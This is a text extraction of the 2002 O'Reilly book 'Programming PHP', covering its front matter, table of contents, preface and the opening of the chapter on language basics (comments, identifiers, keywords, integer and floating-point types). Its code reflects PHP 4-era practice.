Programming php 1 - [PDF Document] (2024)

Programming php 1 - [PDF Document] (1)

Programming php 1 - [PDF Document] (2)

Programming PHP

,TITLE.18349 Page i Wednesday, March 13, 2002 11:52 AM

Programming php 1 - [PDF Document] (3)

Programming PHP

Rasmus Lerdorf and Kevin Tatroe

with Bob Kaehms and Ric McGredy

Beijing • Cambridge • Farnham • Köln • Paris • Sebastopol • Taipei • Tokyo

,TITLE.18349 Page iii Wednesday, March 13, 2002 11:52 AM

Programming php 1 - [PDF Document] (4)

Programming PHPby Rasmus Lerdorf and Kevin Tatroewith Bob Kaehms and Ric McGredy

Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.Printed in the United States of America.

Published by O’Reilly & Associates, Inc., 1005 Gravenstein Highway North,Sebastopol, CA 95472.

O’Reilly & Associates books may be purchased for educational, business, or sales promotionaluse. Online editions are also available for most titles (safari.oreilly.com). For more information,contact our corporate/institutional sales department: (800) 998-9938 or [emailprotected].

Editors: Nathan Torkington and Paula Ferguson

Production Editor: Rachel Wheeler

Cover Designer: Ellie Volckhausen

Interior Designer: Melanie Wang

Printing History:

March 2002: First Edition.

Nutshell Handbook, the Nutshell Handbook logo, and the O’Reilly logo are registeredtrademarks of O’Reilly & Associates, Inc. Many of the designations used by manufacturers andsellers to distinguish their products are claimed as trademarks. Where those designations appearin this book, and O’Reilly & Associates, Inc. was aware of a trademark claim, the designationshave been printed in caps or initial caps. The association between the image of a cuckoo and PHPis a trademark of O’Reilly & Associates, Inc.

While every precaution has been taken in the preparation of this book, the publisher and authorsassume no responsibility for errors or omissions, or for damages resulting from the use of theinformation contained herein.

ISBN: 1-56592-610-2

[M]

,COPYRIGHT.18224 Page iv Wednesday, March 13, 2002 11:52 AM

Programming php 1 - [PDF Document] (5)

About the AuthorsRasmus Lerdorf was born in Godhavn/Qeqertarsuaq on Disco Island, off the coastof Greenland, in 1968. He has been dabbling with Unix-based solutions since 1985.He is known for having gotten the PHP project off the ground in 1995, and he can beblamed for the ANSI-92 SQL-defying LIMIT clause in mSQL 1.x, which has now, atleast conceptually, crept into both MySQL and PostgreSQL.

Rasmus tends to deny being a programmer, preferring to be seen as a techie who isadept at solving problems. If the solution requires a bit of coding and he can’t tricksomebody else into writing the code, he will reluctantly give in and write it himself.He currently lives near San Francisco with his wife Christine.

Kevin Tatroe has been a Macintosh and Unix programmer for 10 years. Being lazy,he’s attracted to languages and frameworks that do much of the work for you, suchas the AppleScript, Perl, and PHP languages and the WebObjects and Cocoaprogramming environments.

Kevin, his wife Jenn, his son Hadden, and their two cats live on the edge of the ruralplains of Colorado, just far away enough from the mountains to avoid the worstsnowfall, and just close enough to avoid tornadoes. The house is filled with LEGOcreations, action figures, and numerous other toys.

Bob Kaehms has spent most of his professional career working with computers.After a prolonged youth that he stretched into his late 20s as a professional scubadiver, ski patroller, and lifeguard, he went to work as a scientific programmer forLockheed Missiles and Space Co. Frustrations with the lack of information-sharingwithin the defense industry led him first to groupware and then to the Web.

Bob helped found the Internet Archive, where as Director of Computing he wasresponsible for the first full backup of all publicly available data on the Internet. Bobalso served as Editor in Chief of Web Techniques Magazine, the leading technicalmagazine for web developers. He is presently CTO at Media Net Link, Inc. Bob has adegree in applied mathematics, and he uses that training to study the chaos thatexists around his house.

Ric McGredy founded Media Net Link, Inc. in 1994, after long stints at Bank ofAmerica, Apple Computer, and Sun Microsystems, to pursue excellence in customer-focused web-service construction and deployment. While he has been known tocrank out a line or two of code, Ric prides himself first and foremost as being busi-ness-focused and on integrating technology into the business enterprise with highreliability at a reasonable cost.

Ric received a BA in French from Ohio Wesleyan University and has been involvedin the accounting and information-technology disciplines for over 25 years. Ric livesnear San Francisco with his wife Sally and five children.

,AUTHOR.COLO.18074 Page 1 Wednesday, March 13, 2002 11:52 AM

Programming php 1 - [PDF Document] (6)

ColophonOur look is the result of reader comments, our own experimentation, and feedbackfrom distribution channels. Distinctive covers complement our distinctive approachto technical topics, breathing personality and life into potentially dry subjects.

The animal on the cover of Programming PHP is a cuckoo (Cuculus canorus).Cuckoos epitomize minimal effort. The common cuckoo doesn’t build a nest—instead, the female cuckoo finds another bird’s nest that already contains eggs andlays an egg in it (a process she may repeat up to 25 times, leaving 1 egg per nest). Thenest mother rarely notices the addition, and usually incubates the egg and then feedsthe hatchling as if it were her own. Why don’t nest mothers notice that the cuckoo’seggs are different from their own? Recent research suggests that it’s because the eggslook the same in the ultraviolet spectrum, which birds can see.

When they hatch, the baby cuckoos push all the other eggs out of the nest. If theother eggs hatched first, the babies are pushed out too. The host parents oftencontinue to feed the cuckoo even after it grows to be much larger than they are, andcuckoo chicks sometimes use their call to lure other birds to feed them as well. Inter-estingly, only Old World (European) cuckoos colonize other nests—the New World(American) cuckoos build their own (untidy) nests. Like many Americans, thesecuckoos migrate to the tropics for winter.

Cuckoos have a long and glorious history in literature and the arts. The Biblementions them, as do Pliny and Aristotle. Beethoven used the cuckoo’s distinctivecall in his Pastoral Symphony. And here’s a bit of etymology for you: the word“cuckold” (a husband whose wife is cheating on him) comes from “cuckoo.”Presumably, the practice of laying one’s eggs in another’s nest seemed an appro-priate metaphor.

Rachel Wheeler was the production editor and copyeditor for Programming PHP.Sue Willing and Jeffrey Holcomb provided quality control, and Sue Willing providedproduction assistance. Ellen Troutman-Zaig wrote the index.

Ellie Volckhausen designed the cover of this book, based on a series design by EdieFreedman. The cover image is a 19th-century engraving from the Dover PictorialArchive. Emma Colby produced the cover layout with QuarkXPress 4.1 usingAdobe’s ITC Garamond font.

Melanie Wang designed the interior layout, based on a series design by DavidFutato. Neil Walls converted the files from Microsoft Word to FrameMaker 5.5.6using tools created by Mike Sierra. The text font is Linotype Birka; the heading fontis Adobe Myriad Condensed; and the code font is LucasFont’s TheSans MonoCondensed. The illustrations that appear in the book were produced by RobertRomano and Jessamyn Read using Macromedia FreeHand 9 and Adobe Photoshop6. This colophon was written by Nathan Torkington and Rachel Wheeler.

,AUTHOR.COLO.18074 Page 2 Wednesday, March 13, 2002 11:52 AM

Programming php 1 - [PDF Document] (7)

v

Table of Contents

Preface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ix

1. Introduction to PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1What Does PHP Do? 1A Brief History of PHP 2Installing PHP 7A Walk Through PHP 9

2. Language Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17Lexical Structure 17Data Types 23Variables 30Expressions and Operators 34Flow-Control Statements 46Including Code 54Embedding PHP in Web Pages 56

3. Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61Calling a Function 61Defining a Function 62Variable Scope 64Function Parameters 66Return Values 69Variable Functions 70Anonymous Functions 71

4. Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72Quoting String Constants 72Printing Strings 75

,progphpTOC.fm.17249 Page v Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (8)

vi | Table of Contents

Accessing Individual Characters 79Cleaning Strings 80Encoding and Escaping 81Comparing Strings 86Manipulating and Searching Strings 89Regular Expressions 95POSIX-Style Regular Expressions 99Perl-Compatible Regular Expressions 103

5. Arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116Indexed Versus Associative Arrays 116Identifying Elements of an Array 117Storing Data in Arrays 117Multidimensional Arrays 120Extracting Multiple Values 120Converting Between Arrays and Variables 124Traversing Arrays 125Sorting 130Acting on Entire Arrays 135Using Arrays 136

6. Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140Terminology 141Creating an Object 141Accessing Properties and Methods 142Declaring a Class 143Introspection 147Serialization 153

7. Web Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158HTTP Basics 158Variables 159Server Information 160Processing Forms 162Setting Response Headers 175Maintaining State 178SSL 188

,progphpTOC.fm.17249 Page vi Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (9)

Table of Contents | vii

8. Databases . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189Using PHP to Access a Database 189Relational Databases and SQL 190PEAR DB Basics 192Advanced Database Techniques 197Sample Application 202

9. Graphics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214Embedding an Image in a Page 214The GD Extension 215Basic Graphics Concepts 216Creating and Drawing Images 217Images with Text 220Dynamically Generated Buttons 223Scaling Images 227Color Handling 228

10. PDF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233PDF Extensions 233Documents and Pages 233Text 237Images and Graphics 246Navigation 255Other PDF Features 259

11. XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262Lightning Guide to XML 262Generating XML 264Parsing XML 265Transforming XML with XSLT 277Web Services 280

12. Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285Global Variables and Form Data 285Filenames 287File Uploads 289File Permissions 291

,progphpTOC.fm.17249 Page vii Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (10)

viii | Table of Contents

Concealing PHP Libraries 293PHP Code 294Shell Commands 295Security Redux 296

13. Application Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297Code Libraries 297Templating Systems 298Handling Output 301Error Handling 303Performance Tuning 308

14. Extending PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 317Architectural Overview 317What You’ll Need 318Building Your First Extensions 319The config.m4 File 327Memory Management 329The pval/zval Data Type 331Parameter Handling 335Returning Values 338References 342Global Variables 343Creating Variables 345Extension INI Entries 347Resources 349Where to Go from Here 350

15. PHP on Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 351Installing and Configuring PHP on Windows 351Writing Portable Code for Windows and Unix 355Interfacing with COM 359Interacting with ODBC Data Sources 367

A. Function Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375

B. Extension Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 457

Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 471

,progphpTOC.fm.17249 Page viii Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (11)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

ix

Preface

Now, more than ever, the Web is a major vehicle for corporate and personal commu-nications. Web sites carry photo albums, shopping carts, and product lists. Many ofthose web sites are driven by PHP, an open source scripting language primarilydesigned for generating HTML content.

Since its inception in 1994, PHP has swept over the Web. The millions of web sitespowered by PHP are testament to its popularity and ease of use. It lies in the sweetspot between Perl/CGI, Active Server Pages (ASP), and HTML. Everyday people canlearn PHP and can build powerful dynamic web sites with it.

The core PHP language features powerful string- and array-handling facilities, as wellas support for object-oriented programming. With the use of standard and optionalextension modules, a PHP application can interact with a database such as MySQLor Oracle, draw graphs, create PDF files, and parse XML files. You can write yourown PHP extension modules in C—for example, to provide a PHP interface to thefunctions in an existing code library. You can even run PHP on Windows, which letsyou control other Windows applications such as Word and Excel with COM, orinteract with databases using ODBC.

This book is a guide to the PHP language. When you finish this book, you will knowhow the PHP language works, how to use the many powerful extensions that comestandard with PHP, and how to design and build your own PHP web applications.

Audience for This BookPHP is a melting pot of cultures. Web designers appreciate its accessibility and con-venience, while programmers appreciate its flexibility and speed. Both cultures needa clear and accurate reference to the language.

If you’re a programmer, this book is for you. We show the big picture of the PHPlanguage, then discuss the details without wasting your time. The many examples

,ch00.14996 Page ix Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (12)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

x | Preface

clarify the explanations, and the practical programming advice and many style tipswill help you become not just a PHP programmer, but a good PHP programmer.

If you’re a web designer, you’ll appreciate the clear and useful guides to specific tech-nologies, such as XML, sessions, and graphics. And you’ll be able to quickly get theinformation you need from the language chapters, which explain basic programmingconcepts in simple terms.

This book does assume a working knowledge of HTML. If you don’t know HTML,you should gain some experience with simple web pages before you try to tacklePHP. For more information on HTML, we recommend HTML & XHTML: TheDefinitive Guide, by Chuck Musciano and Bill Kennedy (O’Reilly).

Structure of This BookWe’ve arranged the material in this book so that you can read it from start to finish,or jump around to hit just the topics that interest you. The book is divided into 15chapters and 2 appendixes, as follows.

Chapter 1, Introduction to PHP, talks about the history of PHP and gives a lightning-fast overview of what is possible with PHP programs.

Chapter 2, Language Basics, is a concise guide to PHP program elements such asidentifiers, data types, operators, and flow-control statements.

Chapter 3, Functions, discusses user-defined functions, including scoping, variable-length parameter lists, and variable and anonymous functions.

Chapter 4, Strings, covers the functions you’ll use when building, dissecting, search-ing, and modifying strings.

Chapter 5, Arrays, details the notation and functions for constructing, processing,and sorting arrays.

Chapter 6, Objects, covers PHP’s object-oriented features. In this chapter, you’lllearn about classes, objects, inheritance, and introspection.

Chapter 7, Web Techniques, discusses web basics such as form parameters and vali-dation, cookies, and sessions.

Chapter 8, Databases, discusses PHP’s modules and functions for working with data-bases, using the PEAR DB library and the MySQL database for examples.

Chapter 9, Graphics, shows how to create and modify image files in a variety of for-mats from PHP.

Chapter 10, PDF, explains how to create PDF files from a PHP application.

Chapter 11, XML, introduces PHP’s extensions for generating and parsing XMLdata, and includes a section on the web services protocol XML-RPC.

,ch00.14996 Page x Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (13)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Preface | xi

Chapter 12, Security, provides valuable advice and guidance for programmers in cre-ating secure scripts. You’ll learn best-practices programming techniques here thatwill help you avoid mistakes that can lead to disaster.

Chapter 13, Application Techniques, talks about the advanced techniques that mostPHP programmers eventually want to use, including error handling and perfor-mance tuning.

Chapter 14, Extending PHP, is an advanced chapter that presents easy-to-followinstructions for building a PHP extension in C.

Chapter 15, PHP on Windows, discusses the tricks and traps of the Windows port ofPHP. It also discusses the features unique to Windows, such as COM and ODBC.

Appendix A, Function Reference, is a handy quick reference to all the core functionsin PHP.

Appendix B, Extension Overview, describes the standard extensions that ship withPHP.

Conventions Used in This BookThe following typographic conventions are used in this book:

ItalicUsed for file and directory names, email addresses, and URLs, as well as for newterms where they are defined.

Constant WidthUsed for code listings and for keywords, variables, functions, command options,parameters, class names, and HTML tags where they appear in the text.

Constant Width BoldUsed to mark lines of output in code listings.

Constant Width ItalicUsed as a general placeholder to indicate items that should be replaced by actualvalues in your own programs.

Comments and QuestionsPlease address comments and questions concerning this book to the publisher:

O’Reilly & Associates, Inc.1005 Gravenstein Highway NorthSebastopol, CA 95472(800) 998-9938 (in the United States or Canada)(707) 829-0515 (international/local)(707) 829-0104 (fax)

,ch00.14996 Page xi Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (14)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

xii | Preface

There is a web page for this book, which lists errata, examples, or any additionalinformation. You can access this page at:

http://www.oreilly.com/catalog/progphp/

To comment or ask technical questions about this book, send email to:

[emailprotected]

For more information about books, conferences, Resource Centers, and the O’ReillyNetwork, see the O’Reilly web site at:

http://www.oreilly.com

AcknowledgmentsAll of the authors would like to thank the technical reviewers for their helpful com-ments on the content of this book: Shane Caraveo, Andi Gutmans, and Stig Bakken.We’d also like to thank Andi Gutmans, Zeev Suraski, Stig Bakken, Shane Caraveo,and Randy Jay Yarger for their contributions to early drafts of material for this book.

Rasmus LerdorfI would like to acknowledge the large and wonderfully boisterous PHP community,without which there would be no PHP today.

Kevin TatroeI’ll err on the side of caution and thank Nat Torkington for dragging me into thisproject. (“You don’t want to write a book, it’s a miserable experience... Hey, want towrite a book?”) While I was writing, the denizens of Nerdsholm and 3WA werealways quick with help and/or snarky commentary, both of which contributed to thebook’s completion. Without twice-monthly game sessions to keep me sane, I wouldsurely have given up well before the last chapter was delivered: thank you to my fel-low players, Jenn, Keith, Joe, Keli, Andy, Brad, Pete, and Jim.

Finally, and most importantly, a huge debt of gratitude is owed to Jennifer and Had-den, both of whom put up with more neglect over the course of the past year thanany good people deserve.

Bob KaehmsThanks to my wife Janet and the kids (Jenny, Megan, and Bobby), to Alan Brown forhelping me understand the issues in integrating COM with PHP, and to the staff atMedia Net Link for allowing me to add this project to my ever-expanding list ofextracurricular activities.

,ch00.14996 Page xii Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (15)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Preface | xiii

Ric McGredyThanks to my family for putting up with my absence, to Nat for inheriting theproject while in the midst of family expansion, and to my colleagues at Media NetLink for all their help and support.

,ch00.14996 Page xiii Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (16)

,ch00.14996 Page xiv Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (17)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

17

Chapter 2 CHAPTER 2

Language Basics

This chapter provides a whirlwind tour of the core PHP language, covering suchbasic topics as data types, variables, operators, and flow control statements. PHP isstrongly influenced by other programming languages, such as Perl and C, so if you’vehad experience with those languages, PHP should be easy to pick up. If PHP is one ofyour first programming languages, don’t panic. We start with the basic units of aPHP program and build up your knowledge from there.

Lexical StructureThe lexical structure of a programming language is the set of basic rules that governshow you write programs in that language. It is the lowest-level syntax of the lan-guage and specifies such things as what variable names look like, what characters areused for comments, and how program statements are separated from each other.

Case SensitivityThe names of user-defined classes and functions, as well as built-in constructs andkeywords such as echo, while, class, etc., are case-insensitive. Thus, these three linesare equivalent:

echo("hello, world");ECHO("hello, world");EcHo("hello, world");

Variables, on the other hand, are case-sensitive. That is, $name, $NAME, and $NaME arethree different variables.

Statements and SemicolonsA statement is a collection of PHP code that does something. It can be as simple asa variable assignment or as complicated as a loop with multiple exit points. Here is

,ch02.15294 Page 17 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (18)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

18 | Chapter 2: Language Basics

a small sample of PHP statements, including function calls, assignment, and an iftest:

echo "Hello, world";myfunc(42, "O'Reilly");$a = 1;$name = "Elphaba";$b = $a / 25.0;if ($a == $b) { echo "Rhyme? And Reason?"; }

PHP uses semicolons to separate simple statements. A compound statement thatuses curly braces to mark a block of code, such as a conditional test or loop, does notneed a semicolon after a closing brace. Unlike in other languages, in PHP the semico-lon before the closing brace is not optional:

if ($needed) { echo "We must have it!"; // semicolon required here} // no semicolon required here

The semicolon is optional before a closing PHP tag:

<?php if ($a == $b) { echo "Rhyme? And Reason?"; } echo "Hello, world" // no semicolon required before closing tag?>

It’s good programming practice to include optional semicolons, as they make it eas-ier to add code later.

Whitespace and Line BreaksIn general, whitespace doesn’t matter in a PHP program. You can spread a state-ment across any number of lines, or lump a bunch of statements together on a singleline. For example, this statement:

raise_prices($inventory, $inflation, $cost_of_living, $greed);

could just as well be written with more whitespace:

raise_prices ( $inventory , $inflation , $cost_of_living , $greed) ;

or with less whitespace:

raise_prices($inventory,$inflation,$cost_of_living,$greed);

You can take advantage of this flexible formatting to make your code more read-able (by lining up assignments, indenting, etc.). Some lazy programmers take advan-tage of this free-form formatting and create completely unreadable code—this isn’trecommended.

,ch02.15294 Page 18 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (19)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Lexical Structure | 19

CommentsComments give information to people who read your code, but they are ignored byPHP. Even if you think you’re the only person who will ever read your code, it’s agood idea to include comments in your code—in retrospect, code you wrote monthsago can easily look as though a stranger wrote it.

Good practice is to make your comments sparse enough not to get in the way of thecode itself and plentiful enough that you can use the comments to tell what’s hap-pening. Don’t comment obvious things, lest you bury the comments that describetricky things. For example, this is worthless:

$x = 17; // store 17 into the variable $x

whereas this may well help whoever will maintain your code:

// convert &#nnn; entities into characters$text = preg_replace('/&#([0-9])+);/e', "chr('\\1')", $text);

PHP provides several ways to include comments within your code, all of which are bor-rowed from existing languages such as C, C++, and the Unix shell. In general, use C-style comments to comment out code, and C++-style comments to comment on code.

Shell-style comments

When PHP encounters a hash mark (#) within the code, everything from the hash markto the end of the line or the end of the section of PHP code (whichever comes first) isconsidered a comment. This method of commenting is found in Unix shell scriptinglanguages and is useful for annotating single lines of code or making short notes.

Because the hash mark is visible on the page, shell-style comments are sometimesused to mark off blocks of code:

######################### Cookie functions#######################

Sometimes they’re used before a line of code to identify what that code does, inwhich case they’re usually indented to the same level as the code:

if ($double_check) { # create an HTML form requesting that the user confirm the action echo confirmation_form( );}

Short comments on a single line of code are often put on the same line as the code:

$value = $p * exp($r * $t); # calculate compounded interest

When you’re tightly mixing HTML and PHP code, it can be useful to have the clos-ing PHP tag terminate the comment:

<?php $d = 4 # Set $d to 4. ?> Then another <?php echo $d ?>Then another 4

,ch02.15294 Page 19 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (20)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

20 | Chapter 2: Language Basics

C++ comments

When PHP encounters two slash characters (//) within the code, everything from theslashes to the end of the line or the end of the section of code, whichever comes first,is considered a comment. This method of commenting is derived from C++. Theresult is the same as the shell comment style.

Here are the shell-style comment examples, rewritten to use C++ comments:

////////////////////////// Cookie functions////////////////////////

if ($double_check) { // create an HTML form requesting that the user confirm the action echo confirmation_form( );}

$value = $p * exp($r * $t); // calculate compounded interest

<?php $d = 4 // Set $d to 4. ?> Then another <?php echo $d ?>Then another 4

C comments

While shell- and C++-style comments are useful for annotating code or making shortnotes, longer comments require a different style. As such, PHP supports block com-ments, whose syntax comes from the C programming language. When PHP encoun-ters a slash followed by an asterisk (/*), everything after that until it encounters anasterisk followed by a slash (*/) is considered a comment. This kind of comment,unlike those shown earlier, can span multiple lines.

Here’s an example of a C-style multiline comment:

/* In this section, we take a bunch of variables and assign numbers to them. There is no real reason to do this, we're just having fun.*/ $a = 1; $b = 2; $c = 3; $d = 4;

Because C-style comments have specific start and end markers, you can tightly inte-grate them with code. This tends to make your code harder to read, though, so it isfrowned upon:

/* These comments can be mixed with code too,see? */ $e = 5; /* This works just fine. */

C-style comments, unlike the other types, continue past end markers. For example:

<?php $l = 12; $m = 13;/* A comment begins here?><p>Some stuff you want to be HTML.</p>

,ch02.15294 Page 20 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (21)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Lexical Structure | 21

<?= $n = 14; ?>*/ echo("l=$l m=$m n=$n\n");?><p>Now <b>this</b> is regular HTML...</p>l=12 m=13 n=<p>Now <b>this</b> is regular HTML...</p>

You can indent, or not indent, comments as you like:

/* There are nospecial indenting or spacing rules that have to be followed, either.

*/

C-style comments can be useful for disabling sections of code. In the following exam-ple, we’ve disabled the second and third statements by including them in a blockcomment. To enable the code, all we have to do is remove the comment markers:

$f = 6;/* $g = 7; # This is a different style of comment $h = 8;*/

However, you have to be careful not to attempt to nest block comments:

$i = 9;/* $j = 10; /* This is a comment */ $k = 11;Here is some comment text.*/

In this case, PHP tries (and fails) to execute the (non-)statement Here is some commenttext and returns an error.

LiteralsA literal is a data value that appears directly in a program. The following are all liter-als in PHP:

20010xFE1.4142"Hello World"'Hi'truenull

IdentifiersAn identifier is simply a name. In PHP, identifiers are used to name variables, func-tions, constants, and classes. The first character of an identifier must be either an

,ch02.15294 Page 21 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (22)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

22 | Chapter 2: Language Basics

ASCII letter (uppercase or lowercase), the underscore character (_), or any of thecharacters between ASCII 0x7F and ASCII 0xFF. After the initial character, thesecharacters and the digits 0–9 are valid.

Variable names

Variable names always begin with a dollar sign ($) and are case-sensitive. Here aresome valid variable names:

$bill$head_count$MaximumForce$I_HEART_PHP$_underscore$_int

Here are some illegal variable names:

$not valid$|$3wa

These variables are all different:

$hot_stuff $Hot_stuff $hot_Stuff $HOT_STUFF

Function names

Function names are not case-sensitive (functions are discussed in more detail inChapter 3). Here are some valid function names:

tallylist_all_usersdeleteTclFilesLOWERCASE_IS_FOR_WIMPS_hide

These function names refer to the same function:

howdy HoWdY HOWDY HOWdy howdy

Class names

Class names follow the standard rules for PHP identifiers and are not case-sensitive.Here are some valid class names:

Personaccount

The class name stdClass is reserved.

Constants

A constant is an identifier for a simple value; only scalar values—boolean, integer,double, and string—can be constants. Once set, the value of a constant cannot

,ch02.15294 Page 22 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (23)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Data Types | 23

change. Constants are referred to by their identifiers and are set using the define( )function:

define('PUBLISHER', "O'Reilly & Associates");echo PUBLISHER;

KeywordsA keyword is a word reserved by the language for its core functionality—you cannotgive a variable, function, class, or constant the same name as a keyword. Table 2-1lists the keywords in PHP, which are case-insensitive.

In addition, you cannot use an identifier that is the same as a built-in PHP function.For a complete list of these, see Appendix A.

Data TypesPHP provides eight types of values, or data types. Four are scalar (single-value) types:integers, floating-point numbers, strings, and booleans. Two are compound (collec-tion) types: arrays and objects. The remaining two are special types: resource andNULL. Numbers, booleans, resources, and NULL are discussed in full here, whilestrings, arrays, and objects are big enough topics that they get their own chapters(Chapters 4, 5, and 6).

Table 2-1. PHP core language keywords

and $argc $argv as

break case cfunction class

continue declare default die

do E_ALL echo E_ERROR

else elseif empty enddeclare

endfor endforeach endif endswitch

E_PARSE eval E_WARNING exit

extends FALSE for foreach

function $HTTP_COOKIE_VARS $HTTP_ENV_VARS $HTTP_GET_VARS

$HTTP_POST_FILES $HTTP_POST_VARS $HTTP_SERVER_VARS if

include include_once global list

new not NULL old_function

or parent PHP_OS $PHP_SELF

PHP_VERSION print require require_once

return static stdClass switch

$this TRUE var virtual

while xor _ _FILE_ _ _ _LINE_ _

_ _sleep _ _wakeup $_COOKIE $_ENV

$_FILES $_GET $_POST $_SERVER

,ch02.15294 Page 23 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (24)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

24 | Chapter 2: Language Basics

IntegersIntegers are whole numbers, like 1, 12, and 256. The range of acceptable values variesaccording to the details of your platform but typically extends from –2,147,483,648 to+2,147,483,647. Specifically, the range is equivalent to the range of the long data typeof your C compiler. Unfortunately, the C standard doesn’t specify what range thatlong type should have, so on some systems you might see a different integer range.

Integer literals can be written in decimal, octal, or hexadecimal. Decimal values arerepresented by a sequence of digits, without leading zeros. The sequence may beginwith a plus (+) or minus (–) sign. If there is no sign, positive is assumed. Examples ofdecimal integers include the following:

1998-641+33

Octal numbers consist of a leading 0 and a sequence of digits from 0 to 7. Like deci-mal numbers, octal numbers can be prefixed with a plus or minus. Here are someexample octal values and their equivalent decimal values:

0755 // decimal 493+010 // decimal 8

Hexadecimal values begin with 0x, followed by a sequence of digits (0–9) or letters(A–F). The letters can be upper- or lowercase but are usually written in capitals. Likedecimal and octal values, you can include a sign in hexadecimal numbers:

0xFF // decimal 2550x10 // decimal 16-0xDAD1 // decimal -56017

If you try to store a too-large integer in a variable, it will automatically be turned intoa floating-point number.

Use the is_int( ) function (or its is_integer( ) alias) to test whether a value is aninteger:

if (is_int($x)) { // $x is an integer}

Floating-Point NumbersFloating-point numbers (often referred to as real numbers) represent numeric valueswith decimal digits. Like integers, their limits depend on your machine’s details.PHP floating-point numbers are equivalent to the range of the double data type ofyour C compiler. Usually, this allows numbers between 1.7E–308 and 1.7E+308with 15 digits of accuracy. If you need more accuracy or a wider range of integer val-ues, you can use the BC or GMP extensions. See Appendix B for an overview of theBC and GMP extensions.

,ch02.15294 Page 24 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (25)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Data Types | 25

PHP recognizes floating-point numbers written in two different formats. There’s theone we all use every day:

3.140.017-7.1

but PHP also recognizes numbers in scientific notation:

0.314E1 // 0.314*101, or 3.1417.0E-3 // 17.0*10-3, or 0.017

Floating-point values are only approximate representations of numbers. For exam-ple, on many systems 3.5 is actually represented as 3.4999999999. This means youmust take care to avoid writing code that assumes floating-point numbers are repre-sented completely accurately, such as directly comparing two floating-point valuesusing ==. The normal approach is to compare to several decimal places:

if (int($a * 1000) == int($b * 1000)) { // numbers equal to three decimal places

Use the is_float( ) function (or its is_real( ) alias) to test whether a value is a float-ing point number:

if (is_float($x)) { // $x is a floating-point number}

